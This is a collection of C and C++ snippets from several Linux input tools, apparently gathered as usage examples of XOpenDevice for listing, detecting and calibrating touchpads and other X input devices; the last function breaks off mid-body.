int
check_device(XDeviceInfo *info)
{
XDevice *device;
Atom type;
int format;
unsigned long nitems, nbytes;
unsigned char *retval;
if (verbose)
printf("Checking device %lu: %s...", info->id, info->name);
device = XOpenDevice(display, info->id);
XGetDeviceProperty(display,
device, prop_calibration,
0, 4, False,
XA_INTEGER, &type, &format,
&nitems, &nbytes, &retval);
XCloseDevice(display, device);
if (nitems != 4) {
if (verbose)
printf("can't be calibrated\n");
return False;
}
if (verbose)
printf("can be calibrated\n");
return True;
}
static XDevice *
dp_get_device(Display * dpy)
{
XDevice *dev = NULL;
XDeviceInfo *info = NULL;
int ndevices = 0;
Atom touchpad_type = 0;
Atom synaptics_property = 0;
Atom *properties = NULL;
int nprops = 0;
int error = 0;
touchpad_type = XInternAtom(dpy, XI_TOUCHPAD, True);
synaptics_property = XInternAtom(dpy, SYNAPTICS_PROP_EDGES, True);
info = XListInputDevices(dpy, &ndevices);
while (ndevices--) {
if (info[ndevices].type == touchpad_type) {
dev = XOpenDevice(dpy, info[ndevices].id);
if (!dev) {
fprintf(stderr, "Failed to open device '%s'.\n",
info[ndevices].name);
error = 1;
goto unwind;
}
properties = XListDeviceProperties(dpy, dev, &nprops);
if (!properties || !nprops) {
fprintf(stderr, "No properties on device '%s'.\n",
info[ndevices].name);
error = 1;
goto unwind;
}
while (nprops--) {
if (properties[nprops] == synaptics_property)
break;
}
if (!nprops) {
fprintf(stderr, "No synaptics properties on device '%s'.\n",
info[ndevices].name);
error = 1;
goto unwind;
}
break; /* Yay, device is suitable */
}
}
unwind:
XFree(properties);
XFreeDeviceList(info);
if (!dev)
fprintf(stderr, "Unable to find a synaptics device.\n");
else if (error && dev) {
XCloseDevice(dpy, dev);
dev = NULL;
}
return dev;
}
XDevice*
device_is_touchpad (XDeviceInfo deviceinfo)
{
XDevice *device;
Atom realtype, prop;
int realformat;
unsigned long nitems, bytes_after;
unsigned char *data;
if (deviceinfo.type != XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), XI_TOUCHPAD, False))
return NULL;
prop = XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), "Synaptics Off", False);
if (!prop)
return NULL;
gdk_error_trap_push ();
device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), deviceinfo.id);
if (gdk_error_trap_pop () || (device == NULL))
return NULL;
gdk_error_trap_push ();
if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device, prop, 0, 1, False,
XA_INTEGER, &realtype, &realformat, &nitems,
&bytes_after, &data) == Success) && (realtype != None)) {
gdk_error_trap_pop ();
XFree (data);
return device;
}
gdk_error_trap_pop ();
XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device);
return NULL;
}
static int
delete_prop_xi1(Display *dpy, int argc, char** argv, char* n, char *desc)
{
XDevice *dev;
XDeviceInfo *info;
char *name;
Atom prop;
info = find_device_info(dpy, argv[0], False);
if (!info)
{
fprintf(stderr, "unable to find device %s\n", argv[0]);
return EXIT_FAILURE;
}
dev = XOpenDevice(dpy, info->id);
if (!dev)
{
fprintf(stderr, "unable to open device '%s'\n", info->name);
return EXIT_FAILURE;
}
name = argv[1];
prop = parse_atom(dpy, name);
XDeleteDeviceProperty(dpy, dev, prop);
XCloseDevice(dpy, dev);
return EXIT_SUCCESS;
}
static gboolean
device_type_is_present (InfoIdentifyFunc info_func,
DeviceIdentifyFunc device_func)
{
XDeviceInfo *device_info;
gint n_devices;
guint i;
gboolean retval;
if (supports_xinput_devices () == FALSE)
return TRUE;
retval = FALSE;
device_info = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &n_devices);
if (device_info == NULL)
return FALSE;
for (i = 0; i < n_devices; i++) {
XDevice *device;
/* Check with the device info first */
retval = (info_func) (&device_info[i]);
if (retval == FALSE)
continue;
/* If we only have an info func, we're done checking */
if (device_func == NULL)
break;
gdk_error_trap_push ();
device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device_info[i].id);
if (gdk_error_trap_pop () || (device == NULL))
continue;
retval = (device_func) (device);
if (retval) {
XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device);
break;
}
XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device);
}
XFreeDeviceList (device_info);
return retval;
}
void
teardown (void)
{
if (device)
XCloseDevice(GDK_DISPLAY(), device);
g_clear_error(&error);
g_clear_error(&expected_error);
}
static gboolean
find_synaptics (void)
{
gboolean ret = FALSE;
#ifdef HAVE_XINPUT
int numdevices, i;
XDeviceInfo *devicelist;
Atom realtype, prop;
int realformat;
unsigned long nitems, bytes_after;
unsigned char *data;
XExtensionVersion *version;
/* Input device properties require version 1.5 or higher */
version = XGetExtensionVersion (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), "XInputExtension");
if (!version->present ||
(version->major_version * 1000 + version->minor_version) < 1005) {
XFree (version);
return False;
}
prop = XInternAtom (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), "Synaptics Off", True);
if (!prop)
return False;
devicelist = XListInputDevices (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), &numdevices);
for (i = 0; i < numdevices; i++) {
if (devicelist[i].use != IsXExtensionPointer)
continue;
gdk_error_trap_push();
XDevice *device = XOpenDevice (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()),
devicelist[i].id);
if (gdk_error_trap_pop ())
continue;
gdk_error_trap_push ();
if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), device, prop, 0, 1, False,
XA_INTEGER, &realtype, &realformat, &nitems,
&bytes_after, &data) == Success) && (realtype != None)) {
XFree (data);
ret = TRUE;
}
gdk_error_trap_pop ();
XCloseDevice (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), device);
if (ret)
break;
}
XFree (version);
XFreeDeviceList (devicelist);
#endif
return ret;
}
int
main(int argc, char *argv[])
{
int c;
int delay = -1;
int do_monitor = 0;
int dump_settings = 0;
int first_cmd;
Display *dpy;
XDevice *dev;
if (argc == 1)
dump_settings = 1;
/* Parse command line parameters */
while ((c = getopt(argc, argv, "sm:hlV")) != -1) {
switch (c) {
case 'm':
do_monitor = 1;
if ((delay = atoi(optarg)) < 0)
usage();
break;
case 'l':
dump_settings = 1;
break;
case 'V':
printf("%s\n", VERSION);
exit(0);
default:
usage();
}
}
first_cmd = optind;
if (!do_monitor && !dump_settings && first_cmd == argc)
usage();
/* Connect to the shared memory area */
if (do_monitor)
shm_process_commands(do_monitor, delay);
dpy = dp_init();
if (!dpy || !(dev = dp_get_device(dpy)))
return 1;
dp_set_variables(dpy, dev, argc, argv, first_cmd);
if (dump_settings)
dp_show_settings(dpy, dev);
XCloseDevice(dpy, dev);
XCloseDisplay(dpy);
return 0;
}
gboolean
touchpad_is_present (void)
{
XDeviceInfo *device_info;
gint n_devices;
guint i;
gboolean retval;
if (supports_xinput_devices () == FALSE)
return TRUE;
retval = FALSE;
device_info = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &n_devices);
if (device_info == NULL)
return FALSE;
for (i = 0; i < n_devices; i++) {
XDevice *device;
gdk_error_trap_push ();
device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device_info[i].id);
if (gdk_error_trap_pop () || (device == NULL))
continue;
retval = device_is_touchpad (device);
if (retval) {
XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device);
break;
}
XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device);
}
XFreeDeviceList (device_info);
return retval;
}
static int
list_props_xi1(Display *dpy, int argc, char** argv, char* name, char *desc)
{
XDeviceInfo *info;
XDevice *dev;
int i;
int nprops;
Atom *props;
if (argc == 0)
{
fprintf(stderr, "Usage: xinput %s %s\n", name, desc);
return EXIT_FAILURE;
}
for (i = 0; i < argc; i++)
{
info = find_device_info(dpy, argv[i], False);
if (!info)
{
fprintf(stderr, "unable to find device %s\n", argv[i]);
continue;
}
dev = XOpenDevice(dpy, info->id);
if (!dev)
{
fprintf(stderr, "unable to open device '%s'\n", info->name);
continue;
}
props = XListDeviceProperties(dpy, dev, &nprops);
if (!nprops)
{
printf("Device '%s' does not report any properties.\n", info->name);
continue;
}
printf("Device '%s':\n", info->name);
while(nprops--)
{
print_property(dpy, dev, props[nprops]);
}
XFree(props);
XCloseDevice(dpy, dev);
}
return EXIT_SUCCESS;
}
static void
synaptics_check_capabilities (GtkBuilder *dialog)
{
#ifdef HAVE_XINPUT
int numdevices, i;
XDeviceInfo *devicelist;
Atom realtype, prop;
int realformat;
unsigned long nitems, bytes_after;
unsigned char *data;
prop = XInternAtom (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), "Synaptics Capabilities", True);
if (!prop)
return;
devicelist = XListInputDevices (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), &numdevices);
for (i = 0; i < numdevices; i++) {
if (devicelist[i].use != IsXExtensionPointer)
continue;
gdk_error_trap_push ();
XDevice *device = XOpenDevice (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()),
devicelist[i].id);
if (gdk_error_trap_pop ())
continue;
gdk_error_trap_push ();
if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), device, prop, 0, 2, False,
XA_INTEGER, &realtype, &realformat, &nitems,
&bytes_after, &data) == Success) && (realtype != None)) {
/* Property data is booleans for has_left, has_middle,
* has_right, has_double, has_triple */
if (!data[0]) {
gtk_toggle_button_set_active (GTK_TOGGLE_BUTTON (WID ("tap_to_click_toggle")), TRUE);
gtk_widget_set_sensitive (WID ("tap_to_click_toggle"), FALSE);
}
if (!data[3])
gtk_widget_set_sensitive (WID ("scroll_twofinger_radio"), FALSE);
XFree (data);
}
gdk_error_trap_pop ();
XCloseDevice (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), device);
}
XFreeDeviceList (devicelist);
#endif
}
static void
synaptics_check_capabilities (GtkBuilder *dialog)
{
int numdevices, i;
XDeviceInfo *devicelist;
Atom realtype, prop;
int realformat;
unsigned long nitems, bytes_after;
unsigned char *data;
prop = XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), "Synaptics Capabilities", True);
if (!prop)
return;
devicelist = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &numdevices);
for (i = 0; i < numdevices; i++) {
if (devicelist[i].use != IsXExtensionPointer)
continue;
gdk_error_trap_push ();
XDevice *device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()),
devicelist[i].id);
if (gdk_error_trap_pop ())
continue;
gdk_error_trap_push ();
if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device, prop, 0, 2, False,
XA_INTEGER, &realtype, &realformat, &nitems,
&bytes_after, &data) == Success) && (realtype != None)) {
/* Property data is booleans for has_left, has_middle, has_right, has_double, has_triple.
* Newer drivers (X.org/kerrnel) will also include has_pressure and has_width. */
if (!data[0]) {
gtk_widget_set_sensitive (WID ("tap_to_click_toggle"), FALSE);
}
/* Disable two finger scrolling unless the hardware supports
* double touch */
if (!(data[3]))
gtk_widget_set_sensitive (WID ("two_finger_scroll_toggle"), FALSE);
XFree (data);
}
gdk_error_trap_pop_ignored ();
XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device);
}
XFreeDeviceList (devicelist);
}
int watch_props(Display *dpy, int argc, char** argv, char* n, char *desc)
{
XDevice *dev;
XDeviceInfo *info;
XEvent ev;
XDevicePropertyNotifyEvent *dpev;
char *name;
int type_prop;
XEventClass cls_prop;
if (list_props(dpy, argc, argv, n, desc) != EXIT_SUCCESS)
return EXIT_FAILURE;
info = find_device_info(dpy, argv[0], False);
if (!info)
{
fprintf(stderr, "unable to find device %s\n", argv[0]);
return EXIT_FAILURE;
}
dev = XOpenDevice(dpy, info->id);
if (!dev)
{
fprintf(stderr, "unable to open device '%s'\n", info->name);
return EXIT_FAILURE;
}
DevicePropertyNotify(dev, type_prop, cls_prop);
XSelectExtensionEvent(dpy, DefaultRootWindow(dpy), &cls_prop, 1);
while(1)
{
XNextEvent(dpy, &ev);
dpev = (XDevicePropertyNotifyEvent*)&ev;
if (dpev->type != type_prop)
continue;
name = XGetAtomName(dpy, dpev->atom);
printf("Property '%s' changed.\n", name);
print_property(dpy, dev, dpev->atom);
}
XCloseDevice(dpy, dev);
}
int
main(int argc, char *argv[])
{
int c;
int dump_settings = 0;
int first_cmd;
Display *dpy;
XDevice *dev;
if (argc == 1)
dump_settings = 1;
/* Parse command line parameters */
while ((c = getopt(argc, argv, "lV?")) != -1) {
switch (c) {
case 'l':
dump_settings = 1;
break;
case 'V':
printf("%s\n", VERSION);
exit(0);
case '?':
default:
usage();
}
}
first_cmd = optind;
if (!dump_settings && first_cmd == argc)
usage();
dpy = dp_init();
if (!dpy || !(dev = dp_get_device(dpy)))
return 1;
dp_set_variables(dpy, dev, argc, argv, first_cmd);
if (dump_settings)
dp_show_settings(dpy, dev);
XCloseDevice(dpy, dev);
XCloseDisplay(dpy);
return 0;
}
void
cleanup_exit(XDevice *device)
{
long values[4];
values[0] = old_calib.minx;
values[1] = old_calib.maxx;
values[2] = old_calib.miny;
values[3] = old_calib.maxy;
XChangeDeviceProperty(display, device, prop_calibration,
XA_INTEGER, 32, PropModeReplace, (unsigned char *)values, 4);
XChangeDeviceProperty(display, device, prop_swap,
XA_INTEGER, 8, PropModeReplace, (unsigned char *)&old_swap, 1);
XCloseDevice(display, device);
XUngrabServer(display);
XUngrabKeyboard(display, CurrentTime);
XCloseDisplay(display);
exit(1);
}
void executeCommand(Display *dpy, XDeviceInfo *info, const char *command, unsigned char data)
{
if (!info)
{
fprintf(stderr, "unable to find the device\n");
return;
}
XDevice *dev = XOpenDevice(dpy, info->id);
if (!dev)
{
fprintf(stderr, "unable to open the device\n");
return;
}
Atom prop = XInternAtom(dpy, command, False);
XChangeDeviceProperty(dpy, dev, prop, XA_INTEGER, 8, PropModeReplace,
&data, 1);
XCloseDevice(dpy, dev);
}
XDevice*
device_is_touchpad (XDeviceInfo *deviceinfo)
{
GdkDisplay *display;
XDevice *device;
display = gdk_display_get_default ();
if (deviceinfo->type != XInternAtom (GDK_DISPLAY_XDISPLAY (display), XI_TOUCHPAD, True))
return NULL;
gdk_x11_display_error_trap_push (display);
device = XOpenDevice (GDK_DISPLAY_XDISPLAY (display), deviceinfo->id);
if (gdk_x11_display_error_trap_pop (display) || (device == NULL))
return NULL;
if (device_has_property (device, "libinput Tapping Enabled") ||
device_has_property (device, "Synaptics Off")) {
return device;
}
XCloseDevice (GDK_DISPLAY_XDISPLAY (display), device);
return NULL;
}
int
main(int argc, char *argv[])
{
int c;
int delay = -1;
int do_monitor = 0;
int dump_hw = 0;
int dump_settings = 0;
int use_shm = 1;
int first_cmd;
#ifdef HAVE_PROPERTIES
use_shm = 0;
#endif
/* Parse command line parameters */
while ((c = getopt(argc, argv, "sm:hlV")) != -1) {
switch (c) {
case 's':
use_shm = 1;
break;
case 'm':
use_shm = 1;
do_monitor = 1;
if ((delay = atoi(optarg)) < 0)
usage();
break;
case 'h':
use_shm = 1;
dump_hw = 1;
break;
case 'l':
dump_settings = 1;
break;
case 'V':
// printf("%s\n", VERSION);
exit(0);
default:
usage();
}
}
first_cmd = optind;
if (!do_monitor && !dump_hw && !dump_settings && first_cmd == argc)
usage();
/* Connect to the shared memory area */
if (use_shm)
{
SynapticsSHM *synshm = NULL;
synshm = shm_init();
if (!synshm)
return 1;
/* Perform requested actions */
if (dump_hw)
shm_show_hw_info(synshm);
shm_set_variables(synshm, argc, argv, first_cmd);
if (dump_settings)
shm_show_settings(synshm);
if (do_monitor)
shm_monitor(synshm, delay);
}
#ifdef HAVE_PROPERTIES
else /* Device properties */
{
Display *dpy;
XDevice *dev;
dpy = dp_init();
if (!dpy || !(dev = dp_get_device(dpy)))
return 1;
dp_set_variables(dpy, dev, argc, argv, first_cmd);
if (dump_settings)
dp_show_settings(dpy, dev);
XCloseDevice(dpy, dev);
XCloseDisplay(dpy);
}
#endif
return 0;
}
JNIEXPORT void JNICALL Java_com_turbovnc_vncviewer_Viewport_setupExtInput
(JNIEnv *env, jobject obj)
{
jclass cls, eidcls;
jfieldID fid;
jmethodID mid;
Display *dpy = NULL;
Window win = 0;
XDeviceInfo *devInfo = NULL;
XDevice *device = NULL;
int nDevices = 0, i, ci, ai, nEvents = 0;
int buttonPressType = -1, buttonReleaseType = -1, motionType = -1;
XEventClass events[100] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1};
jobject extInputDevice;
if ((dpy = XOpenDisplay(NULL)) == NULL)
_throw("Could not open X display");
bailif0(cls = (*env)->GetObjectClass(env, obj));
bailif0(fid = (*env)->GetFieldID(env, cls, "x11win", "J"));
if ((win = (Window)(*env)->GetLongField(env, obj, fid)) == 0)
_throw("X window handle has not been initialized");
if ((devInfo = XListInputDevices(dpy, &nDevices)) == NULL)
_throw("Could not list XI devices");
for (i = 0; i < nDevices; i++) {
char *type;
XAnyClassPtr classInfo = devInfo[i].inputclassinfo;
CARD32 canGenerate = 0, productID = 0;
if (devInfo[i].use != IsXExtensionPointer)
continue;
if (devInfo[i].type == None)
continue;
type = XGetAtomName(dpy, devInfo[i].type);
if (!strcmp(type, "MOUSE")) {
XFree(type);
continue;
}
/* TurboVNC-specific: we use productID to represent the device type, so
we can recreate it on the server */
if (!strcmp(type, "CURSOR"))
productID = rfbGIIDevTypeCursor;
else if (!strcmp(type, "STYLUS"))
productID = rfbGIIDevTypeStylus;
else if (!strcmp(type, "ERASER"))
productID = rfbGIIDevTypeEraser;
else if (!strcmp(type, "TOUCH"))
productID = rfbGIIDevTypeTouch;
else if (!strcmp(type, "PAD"))
productID = rfbGIIDevTypePad;
XFree(type);
bailif0(eidcls =
(*env)->FindClass(env, "com/turbovnc/rfb/ExtInputDevice"));
bailif0(extInputDevice = (*env)->AllocObject(env, eidcls));
SET_STRING(eidcls, extInputDevice, name, devInfo[i].name);
SET_LONG(eidcls, extInputDevice, vendorID, 4242);
SET_LONG(eidcls, extInputDevice, productID, productID);
SET_LONG(eidcls, extInputDevice, id, devInfo[i].id);
for (ci = 0; ci < devInfo[i].num_classes; ci++) {
switch (classInfo->class) {
case ButtonClass:
{
XButtonInfoPtr b = (XButtonInfoPtr)classInfo;
SET_INT(eidcls, extInputDevice, numButtons, b->num_buttons);
canGenerate |= rfbGIIButtonPressMask | rfbGIIButtonReleaseMask;
break;
}
case ValuatorClass:
{
XValuatorInfoPtr v = (XValuatorInfoPtr)classInfo;
jclass valcls;
bailif0(valcls = (*env)->FindClass(env,
"com/turbovnc/rfb/ExtInputDevice$Valuator"));
if (v->mode == Absolute)
canGenerate |= rfbGIIValuatorAbsoluteMask;
else if (v->mode == Relative)
canGenerate |= rfbGIIValuatorRelativeMask;
for (ai = 0; ai < v->num_axes; ai++) {
jobject valuator;
XAxisInfoPtr a = &v->axes[ai];
char longName[75], shortName[5];
bailif0(valuator = (*env)->AllocObject(env, valcls));
SET_INT(valcls, valuator, index, ai);
snprintf(longName, 75, "Valuator %d", ai);
SET_STRING(valcls, valuator, longName, longName);
snprintf(shortName, 5, "%d", ai);
SET_STRING(valcls, valuator, shortName, shortName);
SET_INT(valcls, valuator, rangeMin, a->min_value);
SET_INT(valcls, valuator, rangeCenter,
(a->min_value + a->max_value) / 2);
SET_INT(valcls, valuator, rangeMax, a->max_value);
SET_INT(valcls, valuator, siUnit, rfbGIIUnitLength);
SET_INT(valcls, valuator, siDiv, a->resolution);
bailif0(mid = (*env)->GetMethodID(env, eidcls, "addValuator",
"(Lcom/turbovnc/rfb/ExtInputDevice$Valuator;)V"));
(*env)->CallVoidMethod(env, extInputDevice, mid, valuator);
}
break;
}
}
classInfo = (XAnyClassPtr)((char *)classInfo + classInfo->length);
}
SET_LONG(eidcls, extInputDevice, canGenerate, canGenerate);
if (canGenerate & rfbGIIValuatorAbsoluteMask)
SET_BOOL(eidcls, extInputDevice, absolute, 1);
if ((device = XOpenDevice(dpy, devInfo[i].id)) == NULL)
_throw("Could not open XI device");
for (ci = 0; ci < device->num_classes; ci++) {
if (device->classes[ci].input_class == ButtonClass) {
DeviceButtonPress(device, buttonPressType, events[nEvents]);
nEvents++;
DeviceButtonRelease(device, buttonReleaseType, events[nEvents]);
nEvents++;
} else if (device->classes[ci].input_class == ValuatorClass) {
DeviceMotionNotify(device, motionType, events[nEvents]);
nEvents++;
}
}
XCloseDevice(dpy, device); device=NULL;
bailif0(mid = (*env)->GetMethodID(env, cls, "addInputDevice",
"(Lcom/turbovnc/rfb/ExtInputDevice;)V"));
(*env)->CallVoidMethod(env, obj, mid, extInputDevice);
}
XFreeDeviceList(devInfo); devInfo = NULL;
if (nEvents == 0) {
printf("No extended input devices.\n");
goto bailout;
}
if (XSelectExtensionEvent(dpy, win, events, nEvents))
_throw("Could not select XI events");
SET_INT(cls, obj, buttonPressType, buttonPressType);
SET_INT(cls, obj, buttonReleaseType, buttonReleaseType);
SET_INT(cls, obj, motionType, motionType);
SET_LONG(cls, obj, x11dpy, (jlong)dpy);
printf("TurboVNC Helper: Listening for XInput events on %s (window 0x%.8x)\n",
DisplayString(dpy), (unsigned int)win);
bailout:
if (dpy && device) XCloseDevice(dpy, device);
if (devInfo) XFreeDeviceList(devInfo);
}
int main (int argc, char **argv)
{
gboolean supports_xinput;
gboolean has_touchpad, has_touchscreen, has_trackball;
XDeviceInfo *device_info;
gint n_devices, opcode;
guint i;
gtk_init (&argc, &argv);
supports_xinput = supports_xinput_devices ();
if (supports_xinput) {
g_print ("Supports XInput:\t\t\tyes\n");
} else {
g_print ("Supports XInput:\t\t\tno\n");
return 0;
}
supports_xinput = supports_xinput2_devices (&opcode);
if (supports_xinput) {
g_print ("Supports XInput2:\t\t\tyes (opcode: %d)\n", opcode);
} else {
g_print ("Supports XInput2:\t\t\tno\n");
return 0;
}
has_touchpad = touchpad_is_present ();
g_print ("Has touchpad:\t\t\t\t%s\n", has_touchpad ? "yes" : "no");
has_touchscreen = touchscreen_is_present ();
g_print ("Has touchscreen:\t\t\t%s\n", has_touchscreen ? "yes" : "no");
has_trackball = trackball_is_present ();
g_print ("Has trackball:\t\t\t\t%s\n", has_trackball ? "yes" : "no");
device_info = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &n_devices);
if (device_info == NULL) {
g_warning ("Has no input devices");
return 1;
}
print_disabled_devices ();
for (i = 0; i < n_devices; i++) {
XDevice *device;
if (device_info_is_touchscreen (&device_info[i])) {
g_print ("Device %d is touchscreen:\t\t%s\n", (int) device_info[i].id, "yes");
continue;
}
if (device_info_is_trackball (&device_info[i])) {
g_print ("Device %d is trackball:\t\t\t%s\n", (int) device_info[i].id, "yes");
continue;
}
if (device_info_is_tablet (&device_info[i])) {
g_print ("Device %d is tablet:\t\t\t%s\n", (int) device_info[i].id, "yes");
continue;
}
gdk_error_trap_push ();
device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device_info[i].id);
if (gdk_error_trap_pop () || (device == NULL))
continue;
if (device_is_touchpad (device))
g_print ("Device %d is touchpad:\t\t%s\n", (int) device_info[i].id, "yes");
else {
int tool_id;
tool_id = xdevice_get_last_tool_id (device_info[i].id);
if (tool_id >= 0x0)
g_print ("Device %d is touchpad/touchscreen:\t%s (tool ID: 0x%x)\n", (int) device_info[i].id, "no", tool_id);
else
g_print ("Device %d is touchpad/touchscreen:\t%s\n", (int) device_info[i].id, "no");
}
XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device);
}
XFreeDeviceList (device_info);
return 0;
}
// Constructor
CalibratorEvdev::CalibratorEvdev(const char* const device_name0,
const XYinfo& axys0,
XID device_id,
const int thr_misclick,
const int thr_doubleclick,
const OutputType output_type,
const char* geometry,
const bool use_valuator,
const bool use_timeout,
const char* output_filename)
: Calibrator(device_name0, axys0, thr_misclick, thr_doubleclick, output_type, geometry, use_timeout, output_filename)
{
// init
display = XOpenDisplay(NULL);
if (display == NULL) {
throw WrongCalibratorException("Evdev: Unable to connect to X server");
}
// normaly, we already have the device id
if (device_id == (XID)-1) {
devInfo = xinput_find_device_info(display, device_name, False);
if (!devInfo) {
XCloseDisplay(display);
throw WrongCalibratorException("Evdev: Unable to find device");
}
device_id = devInfo->id;
}
dev = XOpenDevice(display, device_id);
if (!dev) {
XCloseDisplay(display);
throw WrongCalibratorException("Evdev: Unable to open device");
}
#ifndef HAVE_XI_PROP
throw WrongCalibratorException("Evdev: you need at least libXi 1.2 and inputproto 1.5 for dynamic recalibration of evdev.");
#else
// XGetDeviceProperty vars
Atom property;
Atom act_type;
int act_format;
unsigned long nitems, bytes_after;
unsigned char *data, *ptr;
// get "Evdev Axis Calibration" property
property = xinput_parse_atom(display, "Evdev Axis Calibration");
if (XGetDeviceProperty(display, dev, property, 0, 1000, False,
AnyPropertyType, &act_type, &act_format,
&nitems, &bytes_after, &data) != Success)
{
XCloseDevice(display, dev);
XCloseDisplay(display);
throw WrongCalibratorException("Evdev: \"Evdev Axis Calibration\" property missing, not a (valid) evdev device");
} else {
if (act_format != 32 || act_type != XA_INTEGER) {
XCloseDevice(display, dev);
XCloseDisplay(display);
throw WrongCalibratorException("Evdev: invalid \"Evdev Axis Calibration\" property format");
} else if (use_valuator) {
int ndevices = 0, i, j;
XIDeviceInfo *info = XIQueryDevice(display, device_id, &ndevices);
if (ndevices != 1) {
XCloseDevice(display, dev);
XCloseDisplay(display);
throw WrongCalibratorException("Evdev: unknown Xinput device ID???");
}
for (i = 0; i < ndevices; i++) {
XIDeviceInfo *dev = &info[i];
for (j = 0; j < dev->num_classes; j++) {
switch(dev->classes[i]->type) {
case XIValuatorClass:
{
XIValuatorClassInfo *v = (XIValuatorClassInfo*)dev->classes[i];
/* Valuator 0 = X, Valuator 1 = Y, others are ignored */
switch (v->number) {
case 0:
old_axys.x.min = v->min;
old_axys.x.max = v->max;
old_axys.x.invert = false;
break;
case 1:
old_axys.y.min = v->min;
old_axys.y.max = v->max;
old_axys.y.invert = false;
break;
default:
break;
}
break;
}
default:
break;
}
}
}
XIFreeDeviceInfo(info);
if (verbose)
printf("DEBUG: Evdev Axis Calibration set to axis valuators\n");
(void) set_calibration(old_axys);
} else if (nitems == 0) {
if (verbose)
printf("DEBUG: Evdev Axis Calibration not set, setting to axis valuators to be sure.\n");
// No axis calibration set, set it to the default one
// QUIRK: when my machine resumes from a sleep,
// the calibration property is no longer exported through xinput, but still active
// not setting the values here would result in a wrong first calibration
(void) set_calibration(old_axys);
} else if (nitems > 0) {
ptr = data;
old_axys.x.min = *((long*)ptr);
ptr += sizeof(long);
old_axys.x.max = *((long*)ptr);
ptr += sizeof(long);
old_axys.y.min = *((long*)ptr);
ptr += sizeof(long);
old_axys.y.max = *((long*)ptr);
ptr += sizeof(long);
}
XFree(data);
}
// get "Evdev Axes Swap" property
property = xinput_parse_atom(display, "Evdev Axes Swap");
if (XGetDeviceProperty(display, dev, property, 0, 1000, False,
AnyPropertyType, &act_type, &act_format,
&nitems, &bytes_after, &data) == Success)
{
if (act_format == 8 && act_type == XA_INTEGER && nitems == 1) {
old_axys.swap_xy = *((char*)data);
if (verbose)
printf("DEBUG: Read axes swap value of %i.\n", old_axys.swap_xy);
}
}
// get "Evdev Axes Inversion" property
property = xinput_parse_atom(display, "Evdev Axis Inversion");
if (XGetDeviceProperty(display, dev, property, 0, 1000, False,
AnyPropertyType, &act_type, &act_format,
&nitems, &bytes_after, &data) == Success) {
if (act_format == 8 && act_type == XA_INTEGER && nitems == 2) {
old_axys.x.invert = *((char*)data++);
old_axys.y.invert = *((char*)data);
if (verbose)
printf("DEBUG: Read InvertX=%i, InvertY=%i.\n", old_axys.x.invert, old_axys.y.invert);
}
}
printf("Calibrating EVDEV driver for \"%s\" id=%i\n", device_name, (int)device_id);
printf("\tcurrent calibration values (from XInput): min_x=%d, max_x=%d and min_y=%d, max_y=%d\n",
old_axys.x.min, old_axys.x.max, old_axys.y.min, old_axys.y.max);
#endif // HAVE_XI_PROP
}
// Destructor
CalibratorEvdev::~CalibratorEvdev () {
XCloseDevice(display, dev);
XCloseDisplay(display);
}
void setCalibration(int id, int minX, int maxX, int minY, int maxY, int axesSwap, int screenWidth, int screenHeight, int outputX, int outputY, int outputWidth, int outputHeight, int rotation) {
float matrix[] = { 1., 0., 0., /* [0] [1] [2] */
0., 1., 0., /* [3] [4] [5] */
0., 0., 1.
}; /* [6] [7] [8] */
int matrixMode = 0;
/* Check if transformation matrix is supported */
long l;
if((sizeof l) == 4 || (sizeof l) == 8) {
/* We only support matrix mode on systems where longs are 32 or 64 bits long */
Atom retType;
int retFormat;
unsigned long retItems, retBytesAfter;
unsigned char * data = NULL;
if(XIGetProperty(display, id, XInternAtom(display,
"Coordinate Transformation Matrix", 0), 0, 9 * 32, False, floatAtom,
&retType, &retFormat, &retItems, &retBytesAfter,
&data) != Success) {
data = NULL;
}
if(data != NULL && retItems == 9) {
matrixMode = 1;
}
if(data != NULL) {
XFree(data);
}
}
unsigned char flipHoriz = 0, flipVerti = 0;
if(matrixMode) {
if(debugMode) printf("Use matrix method\n");
/* Output rotation */
if(rotation & RR_Rotate_180) {
matrix[0] = -1.;
matrix[4] = -1;
matrix[2] = 1.;
matrix[5] = 1.;
} else if(rotation & RR_Rotate_90) {
matrix[0] = 0.;
matrix[1] = -1.;
matrix[3] = 1.;
matrix[4] = 0.;
matrix[2] = 1.;
} else if(rotation & RR_Rotate_270) {
matrix[0] = 0.;
matrix[1] = 1.;
matrix[3] = -1.;
